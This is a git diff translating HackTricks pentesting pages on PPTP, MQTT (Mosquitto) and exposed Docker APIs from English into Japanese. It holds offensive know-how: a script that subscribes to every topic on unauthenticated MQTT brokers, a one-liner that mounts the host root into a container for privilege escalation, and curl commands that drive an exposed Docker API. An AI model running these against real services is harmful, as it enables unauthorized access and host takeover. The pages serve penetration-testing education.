[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## Basic Information +## 基本情報 -Commonly used to provide remote access to mobile devices, Point-to-Point Tunneling Protocol (PPTP) uses TCP port 1723 for key exchange and IP protocol 47 (GRE) to encrypt data between peers. +モバイルデバイスへのリモートアクセスを提供するためによく使用される、Point-to-Point Tunneling Protocol(PPTP)は、キー交換にTCPポート1723を使用し、データを暗号化するためにIPプロトコル47(GRE)を使用します。 -**Default Port**:1723 - -## Enumeration +**デフォルトポート**: 1723 +## 列挙 ```bash nmap –Pn -sSV -p1723 ``` +### [ブルートフォース](../generic-methodologies-and-resources/brute-force.md#pptp) -### [Brute Force](../generic-methodologies-and-resources/brute-force.md#pptp) - -## Vulnerabilities +## 脆弱性 {% embed url="https://www.schneier.com/academic/pptp/" %} @@ -40,14 +38,14 @@ nmap –Pn -sSV -p1723 ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md b/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md index 315556dfe..a94b9257f 100644 --- a/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md +++ b/network-services-pentesting/1883-pentesting-mqtt-mosquitto.md @@ -1,63 +1,56 @@ -# 1883 - Pentesting MQTT (Mosquitto) +# 1883 - MQTTのペンテスト(Mosquitto)
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-## Basic Information +## 基本情報 -MQTT stands for MQ Telemetry Transport. It is a publish/subscribe, **extremely simple and lightweight messaging protocol**, designed for constrained devices and low-bandwidth, high-latency or unreliable networks. The design principles are to minimise network bandwidth and device resource requirements whilst also attempting to ensure reliability and some degree of assurance of delivery. These principles also turn out to make the protocol ideal of the emerging “machine-to-machine” (M2M) or “Internet of Things” world of connected devices, and for mobile applications where bandwidth and battery power are at a premium. - -**Default port:** 1883 +MQTTはMQ Telemetry Transportの略です。これは、制約のあるデバイスや低帯域幅、高遅延または信頼性の低いネットワーク向けに設計された、パブリッシュ/サブスクライブ型の**非常にシンプルで軽量なメッセージングプロトコル**です。設計原則は、ネットワーク帯域幅とデバイスのリソース要件を最小限に抑えると同時に、信頼性と一定の配信保証を確保することです。これらの原則は、接続されたデバイスの「マシン間通信」(M2M)または「モノのインターネット」の新興世界や、帯域幅とバッテリー電力が貴重なモバイルアプリケーションにとっても理想的なプロトコルとなっています。 +**デフォルトポート:** 1883 ``` PORT STATE SERVICE REASON 1883/tcp open mosquitto version 1.4.8 syn-ack ``` +## トラフィックの検査 -## Inspecting the traffic - -MQTT brokers send a **CONNACK** packet in **response** to a CONNECT packet. The **return code 0x00** indicates the credentials are valid and the return code **0x05 indicates they aren't. 0x05 example:** +MQTTブローカーは、CONNECTパケットに対する応答としてCONNACKパケットを送信します。**リターンコード0x00**は資格情報が有効であることを示し、**リターンコード0x05は無効であることを示します。0x05の例:** ![](<../.gitbook/assets/image (645) (1).png>) -### [**Brute-Force MQTT**](../generic-methodologies-and-resources/brute-force.md#mqtt) +### [**MQTTのブルートフォース攻撃**](../generic-methodologies-and-resources/brute-force.md#mqtt) -## Pentesting MQTT +## MQTTのペントテスト -**Authentication is totally optional** and even if authentication is being performed, **encryption is not used by default** (credentials are sent in clear text). MITM attacks can still be executed to steal passwords. - -To connect to a MQTT service you can use: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) and subscribe yourself to all the topics doing: +**認証は完全にオプション**であり、認証が実行されている場合でも、**デフォルトでは暗号化は使用されません**(資格情報は平文で送信されます)。MITM攻撃を実行してパスワードを盗むことはまだ可能です。 +MQTTサービスに接続するには、[https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell)を使用し、次のようにすべてのトピックに自分自身をサブスクライブします: ``` > connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883) > subscribe "#" 1 > subscribe "$SYS/#" ``` +[**https://github.com/akamai-threat-research/mqtt-pwn**](https://github.com/akamai-threat-research/mqtt-pwn)を使用することもできます。 -You could also use [**https://github.com/akamai-threat-research/mqtt-pwn**](https://github.com/akamai-threat-research/mqtt-pwn) - -You can also use: - +また、以下も使用できます: ```bash apt-get install mosquitto mosquitto-clients mosquitto_sub -t 'test/topic' -v #Subscriribe to 'test/topic' ``` - -Or you could **run this code to try to connect to a MQTT service without authentication, subscribe to every topic and listen them**: - +または、このコードを実行して、認証なしでMQTTサービスに接続し、すべてのトピックにサブスクライブしてリスンすることを試すこともできます。 ```python #This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py import paho.mqtt.client as mqtt @@ -68,47 +61,44 @@ HOST = "127.0.0.1" PORT = 1883 def on_connect(client, userdata, flags, rc): - client.subscribe('#', qos=1) - client.subscribe('$SYS/#') +client.subscribe('#', qos=1) +client.subscribe('$SYS/#') def on_message(client, userdata, message): - print('Topic: %s | QOS: %s | Message: %s' % (message.topic, message.qos, message.payload)) +print('Topic: %s | QOS: %s | Message: %s' % (message.topic, message.qos, message.payload)) def main(): - client = mqtt.Client() - client.on_connect = on_connect - client.on_message = on_message - client.connect(HOST, PORT) - client.loop_start() - #time.sleep(10) - #client.loop_stop() +client = mqtt.Client() +client.on_connect = on_connect +client.on_message = on_message +client.connect(HOST, PORT) +client.loop_start() +#time.sleep(10) +#client.loop_stop() if __name__ == "__main__": - main() +main() ``` +## 追加情報 -## More information +ここから: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b) -from here: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b) +### パブリッシュ/サブスクライブパターン -### The Publish/Subscribe Pattern - -The publish/subscribe model is composed of: - -* **Publisher**: publishes a message to one (or many) topic(s) in the broker. -* **Subscriber**: subscribes to one (or many) topic(s) in the broker and receives all the messages sent from the publisher. -* **Broker**: routes all the messages from the publishers to the subscribers. -* **Topic**: consists of one or more levels that are separated by a a forward slash (e.g., /smartshouse/livingroom/temperature). +パブリッシャー: ブローカー内の1つ(または複数)のトピックにメッセージを公開します。 +サブスクライバー: ブローカー内の1つ(または複数)のトピックにサブスクライブし、パブリッシャーから送信されたすべてのメッセージを受信します。 +ブローカー: パブリッシャーからのすべてのメッセージをサブスクライバーにルーティングします。 +トピック: 1つ以上のレベルで構成され、スラッシュ(/)で区切られています(例:/smartshouse/livingroom/temperature)。 ![](https://miro.medium.com/max/1073/1\*sIxvchdgHSqAGebJjFHBAg.png) -### Packet Format +### パケット形式 -Every MQTT packet contains a fixed header (Figure 02).Figure 02: Fixed Header +すべてのMQTTパケットには固定ヘッダーが含まれています(図02)。図02:固定ヘッダー ![](https://miro.medium.com/max/838/1\*k6RkAHEk0576geQGUcKSTA.png) -The first field of the fixed header represents the type of the MQTT Packet. All packet types are listed in table 01.Table 01: MQTT Packet Types +固定ヘッダーの最初のフィールドは、MQTTパケットのタイプを表します。すべてのパケットタイプは、表01にリストされています。表01:MQTTパケットタイプ ![](https://miro.medium.com/max/1469/1\*z0fhdUVzGa0PLikH\_cyBmQ.png) @@ -120,14 +110,14 @@ The first field of the fixed header represents the type of the MQTT Packet. All ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか? HackTricksであなたの会社を宣伝したいですか?または、PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロードしたりしたいですか? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!** -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- **[**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォローしてください。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricks repo](https://github.com/carlospolop/hacktricks)と[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 diff --git a/network-services-pentesting/2375-pentesting-docker.md b/network-services-pentesting/2375-pentesting-docker.md index c2acca030..8d0f6cac7 100644 --- a/network-services-pentesting/2375-pentesting-docker.md +++ b/network-services-pentesting/2375-pentesting-docker.md @@ -1,37 +1,36 @@ -# 2375, 2376 Pentesting Docker +# 2375, 2376 Dockerのペンテスト
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-## Docker Basics +## Dockerの基礎 -### What is +### Dockerとは -The Docker Platform is the industry-leading container platform for continuous, high-velocity innovation, enabling organizations to seamlessly build and share any application — from legacy to what comes next — and securely run them anywhere. +Dockerプラットフォームは、連続的で高速なイノベーションを実現する業界をリードするコンテナプラットフォームであり、組織がレガシーから次のものまで、どんなアプリケーションでもシームレスに構築し共有し、どこでも安全に実行できるようにします。 -### Basic docker architecture +### Dockerの基本的なアーキテクチャ -This info is from [here](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc). +この情報は[こちら](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc)から取得しました。 -* [containerd](http://containerd.io) is a container runtime which can m**anage a complete container lifecycle - from image transfer/storage to container execution**, supervision and networking. **More information about containerd below.** -* container-shim handle headless containers, meaning once runc initializes the containers, it exits handing the containers over to the container-shim which acts as some middleman. -* [runc](http://runc.io) is lightweight universal run time container, which abides by the OCI specification. **runc is used by containerd for spawning and running containers according to OCI spec**. It is also the repackaging of libcontainer. -* [grpc](http://www.grpc.io) used for communication between containerd and docker-engine. -* [OCI](https://www.opencontainers.org) maintains the OCI specification for runtime and images. The current docker versions support OCI image and runtime specs. +* [containerd](http://containerd.io)は、コンテナのライフサイクル全体を管理できるコンテナランタイムです。イメージの転送/ストレージからコンテナの実行、監視、ネットワーキングまでを担当します。**containerdについての詳細は以下を参照してください。** +* container-shimはヘッドレスコンテナを処理します。つまり、runcがコンテナを初期化すると、コンテナをコンテナシムに渡して中間人として機能します。 +* [runc](http://runc.io)は、OCI仕様に準拠した軽量なユニバーサルランタイムコンテナです。**runcは、OCI仕様に従ってコンテナを生成および実行するためにcontainerdによって使用されます**。また、libcontainerの再パッケージングでもあります。 +* [grpc](http://www.grpc.io)は、containerdとdocker-engineの間の通信に使用されます。 +* [OCI](https://www.opencontainers.org)は、ランタイムとイメージのためのOCI仕様を維持しています。現在のDockerのバージョンはOCIイメージとランタイムの仕様をサポートしています。 ![runC, containerD](https://i.stack.imgur.com/5aXF6.png) -### Basic commands - +### 基本的なコマンド ```bash docker version #Get version of docker client, API, engine, containerd, runc, docker-init docker info #Get more infomarion about docker settings @@ -54,18 +53,16 @@ docker system prune -a # - all images without at least one container associated to them # - all build cache ``` - ### Containerd -Containerd was designed to be used by Docker and Kubernetes as well as any other container platform that wants to **abstract away syscalls or OS specific functionality to run container**s on linux, windows, solaris, or other OSes. With these users in mind, we wanted to make sure that containerd has only what they need and nothing that they don’t. Realistically this is impossible but at least that is what we try for. Things like **networking are out of scope for containerd**. The reason for this is, when you are building a distributed system, networking is a very central aspect. With SDN and service discovery today, networking is way more platform specific than abstracting away netlink calls on linux. - -Note then that **Docker uses Containerd, but it only provides a subet of the features that Docker provides**. So for example ContainerD doesn't have Docker's network management features, nor can you use ContainerD alone to create Docker swarms. +Containerdは、DockerやKubernetesだけでなく、Linux、Windows、Solaris、その他のOS上でコンテナを実行するために、システムコールやOS固有の機能を抽象化することを望む他のコンテナプラットフォームでも使用できるように設計されました。これらのユーザーを考慮して、containerdには必要なものだけが含まれており、不要なものは含まれていません。現実的にはこれは不可能ですが、少なくともそれを目指しています。ネットワーキングなどの機能はcontainerdの範囲外です。その理由は、分散システムを構築する際にネットワーキングが非常に重要な要素であるためです。SDNやサービスディスカバリの現在、ネットワーキングはLinux上のnetlink呼び出しを抽象化する以上にプラットフォーム固有のものです。 +なお、DockerはContainerdを使用していますが、ContainerdはDockerのネットワーク管理機能を持っていないため、Containerd単体ではDockerスワームを作成することはできません。 ```bash #Containerd CLI ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image ctr images list #List images -ctr container create registry:5000/alpine:latest alpine #Create container called alpine +ctr container create registry:5000/alpine:latest alpine #Create container called alpine ctr container list #List containers ctr container info #Get container info ctr task start #You are given a shell inside of it @@ -76,26 +73,24 @@ ctr tasks resume #Resume cotainer ctr task kill -s SIGKILL #Stop running container ctr container delete ``` - ### Podman -**Info** [**from here**](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html) +**情報** [**ここから**](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html) -Podman is an open source, OCI ([Open Container Initiative](https://github.com/opencontainers)) compliant container engine. It is driven by Red Hat and incorporates a few major differences from Docker, such as its daemonless architecture and support for rootless containers. At their core, **both tools do the same thing: manage images and containers**. One of **Podman’s objectives is to have a Docker-compatible API**. Hence almost all CLI (command line interface) commands from the Docker CLI are also available in Podman. +Podmanは、オープンソースでOCI(Open Container Initiative)に準拠したコンテナエンジンです。Red Hatによって開発され、Dockerとは異なるいくつかの主な違いがあります。例えば、デーモンレスのアーキテクチャとルートレスコンテナのサポートです。基本的には、**両方のツールは同じことを行います: イメージとコンテナの管理**。Podmanの目標の1つは、Docker互換のAPIを持つことです。そのため、Docker CLIのほとんどのCLI(コマンドラインインターフェース)コマンドは、Podmanでも利用できます。 -You may find two other tools in the Podman ecosystem: Buildah and Skopeo. Buildah is a CLI tool used to build container images, and Skopeo is a CLI tool for running operations on images, such as push, pull or inspect. [Please check out GitHub](https://github.com/containers/buildah/tree/master/docs/containertools) for more information on these tools and their relationship with Podman. +Podmanエコシステムには、BuildahとSkopeoという2つの他のツールがあります。Buildahは、コンテナイメージのビルドに使用されるCLIツールであり、Skopeoは、プッシュ、プル、またはインスペクトなどのイメージ操作を実行するCLIツールです。これらのツールとPodmanの関係についての詳細は、[GitHubをご覧ください](https://github.com/containers/buildah/tree/master/docs/containertools)。 -**The major differences** +**主な違い** -**The greatest difference between Docker and Podman is their architecture**. **Docker** runs on a **client-server** architecture, while **Podman** runs on a **daemonless** architecture. But what does that mean? When working with **Docker**, you have to use the Docker CLI, which communicates with a **background daemon** (the Docker daemon). The main logic resides in the daemon, which builds images and executes containers. This **daemon runs with root privileges**. The **Podman** architecture by contrast allows you to **run** the **containers under the user that is starting the container** (fork/exec), and this user does not need any root privileges. Because **Podman has a daemonless architecture, each user running Podman can only see and modify their own containers**. There is no common daemon that the CLI tool communicates with. +**DockerとPodmanの最大の違いは、アーキテクチャです**。**Docker**は**クライアントサーバーアーキテクチャ**で動作し、**Podman**は**デーモンレスアーキテクチャ**で動作します。しかし、それはどういう意味でしょうか?**Docker**を使用する場合、Docker CLIを使用する必要があり、Docker CLIは**バックグラウンドデーモン**(Dockerデーモン)と通信します。メインのロジックはデーモンにあり、イメージをビルドし、コンテナを実行します。この**デーモンはルート権限で実行されます**。一方、**Podman**のアーキテクチャでは、**コンテナを開始するユーザーの特権でコンテナが実行されます**(fork/exec)。このユーザーにはルート権限は必要ありません。**Podmanはデーモンレスアーキテクチャを持つため、Podmanを実行している各ユーザーは自分自身のコンテナしか見ることができず、変更することもできません**。CLIツールが通信する共通のデーモンはありません。 -Since Podman does not have a daemon, it needs a way to support running containers in the background. It therefore provides an integration with **systemd**, which allows containers to be controlled via systemd units. Depending on the Podman version, you can generate these units for existing containers or generate units that are able to create containers if they do not exist in the system. There is another integration model with systemd, which enables systemd to run inside a container. By default, Docker uses systemd to control the daemon process. +Podmanにはデーモンがないため、バックグラウンドでコンテナを実行する方法が必要です。そのため、systemdとの統合を提供しており、systemdユニットを介してコンテナを制御できます。Podmanのバージョンによっては、既存のコンテナ用のユニットを生成したり、システムに存在しない場合にコンテナを作成できるユニットを生成したりすることができます。systemdとのもう1つの統合モデルでは、systemdをコンテナ内で実行できます。デフォルトでは、Dockerはデーモンプロセスを制御するためにsystemdを使用します。 -The second major difference concerns how containers are executed. With **Podman**, **containers are executed under the user’s privileges and not under the daemon**. At this point, the concept of rootless containers comes into play, meaning that the container can be started without root privileges. Rootless containers have a huge advantage over rootful containers since (you guessed it) they do not run under the root account. The benefit of this is that if an attacker is able to capture and escape a container, this attacker is still a normal user on the host. Containers that are started by a user cannot have more privileges or capabilities than the user itself. This adds a natural layer of protection. +2つ目の主な違いは、コンテナの実行方法です。**Podman**では、**コンテナはデーモンではなくユーザーの特権で実行されます**。この時点で、ルートレスコンテナの概念が登場します。つまり、コンテナはルート権限なしで起動できます。ルートレスコンテナは、ルート権限を持つコンテナと比べて非常に優れています(お察しの通り)。これにより、攻撃者がコンテナをキャプチャして脱出できた場合でも、この攻撃者はホスト上の通常のユーザーです。ユーザーによって開始されたコンテナは、ユーザー自体よりも多くの特権や機能を持つことはありません。これにより、自然な保護層が追加されます。 {% hint style="info" %} -Note that as podam aims to support the same API as docker, you can use the same commands with podman as with docker such as: - +PodmanはDockerと同じAPIをサポートすることを目指しているため、dockerと同じコマンドをpodmanでも使用することができます。例えば: ```bash podman --version podman info @@ -104,23 +99,20 @@ podman ls ``` {% endhint %} -## Basic Information +## 基本情報 -Remote API is running by default on 2375 port when enabled. The service by default will not require authentication allowing an attacker to start a privileged docker container. By using the Remote API one can attach hosts / (root directory) to the container and read/write files of the host’s environment. - -**Default port:** 2375 +リモートAPIは、有効になっている場合にはデフォルトでポート2375で実行されます。デフォルトでは認証が必要なく、攻撃者は特権のあるDockerコンテナを起動することができます。リモートAPIを使用することで、ホスト/(ルートディレクトリ)をコンテナにアタッチし、ホスト環境のファイルを読み書きすることができます。 +**デフォルトポート:** 2375 ``` PORT STATE SERVICE 2375/tcp open docker ``` +## 列挙 -## Enumeration - -### Manual - -Note that in order to enumerate the docker API you can use the `docker` command or `curl` like in the following example: +### 手動 +Docker APIを列挙するためには、次の例のように`docker`コマンドまたは`curl`を使用できます。 ```bash #Using curl curl -s http://open.docker.socket:2375/version | jq #Get version @@ -129,50 +121,46 @@ curl -s http://open.docker.socket:2375/version | jq #Get version #Using docker docker -H open.docker.socket:2375 version #Get version Client: Docker Engine - Community - Version: 19.03.1 - API version: 1.40 - Go version: go1.12.5 - Git commit: 74b1e89 - Built: Thu Jul 25 21:21:05 2019 - OS/Arch: linux/amd64 - Experimental: false +Version: 19.03.1 +API version: 1.40 +Go version: go1.12.5 +Git commit: 74b1e89 +Built: Thu Jul 25 21:21:05 2019 +OS/Arch: linux/amd64 +Experimental: false Server: Docker Engine - Community - Engine: - Version: 19.03.1 - API version: 1.40 (minimum version 1.12) - Go version: go1.12.5 - Git commit: 74b1e89 - Built: Thu Jul 25 21:19:41 2019 - OS/Arch: linux/amd64 - Experimental: false - containerd: - Version: 1.2.6 - GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb - runc: - Version: 1.0.0-rc8 - GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f - docker-init: - Version: 0.18.0 - GitCommit: fec3683 +Engine: +Version: 19.03.1 +API version: 1.40 (minimum version 1.12) +Go version: go1.12.5 +Git commit: 74b1e89 +Built: Thu Jul 25 21:19:41 2019 +OS/Arch: linux/amd64 +Experimental: false +containerd: +Version: 1.2.6 +GitCommit: 894b81a4b802e4eb2a91d1ce216b8817763c29fb +runc: +Version: 1.0.0-rc8 +GitCommit: 425e105d5a03fabd737a126ad93d62a9eeede87f +docker-init: +Version: 0.18.0 +GitCommit: fec3683 ``` - -If you can **contact the remote docker API with the `docker` command** you can **execute** any of the **docker** [**commands previously** commented](2375-pentesting-docker.md#basic-commands) to interest with the service. +もし`docker`コマンドで**リモートのDocker APIに接続**できる場合、サービスとのやり取りには[**以前コメントされた**dockerコマンド](2375-pentesting-docker.md#basic-commands)のいずれかを**実行**することができます。 {% hint style="info" %} -You can `export DOCKER_HOST="tcp://localhost:2375"` and **avoid** using the `-H` parameter with the docker command +`export DOCKER_HOST="tcp://localhost:2375"`を使用して、dockerコマンドで`-H`パラメータを**使用しない**ようにすることもできます。 {% endhint %} -#### Fast privilege escalation - +#### 迅速な特権エスカレーション ```bash docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash ``` - #### Curl -Sometimes you’ll see **2376** up for the **TLS** endpoint. I haven’t been able to connect to it with the docker client but you can with curl no problem to hit the docker API. - +時々、**TLS**エンドポイントの**2376**が利用可能になっていることがあります。私はdockerクライアントで接続することができませんでしたが、curlを使用してdocker APIに問題なくアクセスできます。 ```bash #List containers curl –insecure https://tlsopen.docker.socket:2376/containers/json | jq @@ -202,104 +190,94 @@ curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-ope #Delete stopped containers curl –insecure -vv -X POST -H "Content-Type: application/json" https://tls-opendocker.socket:2376/containers/prune ``` +もし詳細情報が必要な場合は、コマンドをコピーした元の場所で詳細情報を入手できます:[https://securityboulevard.com/2019/02/abusing-docker-api-socket/](https://securityboulevard.com/2019/02/abusing-docker-api-socket/) -If you want more information about this, more information is available where I copied the commands from: 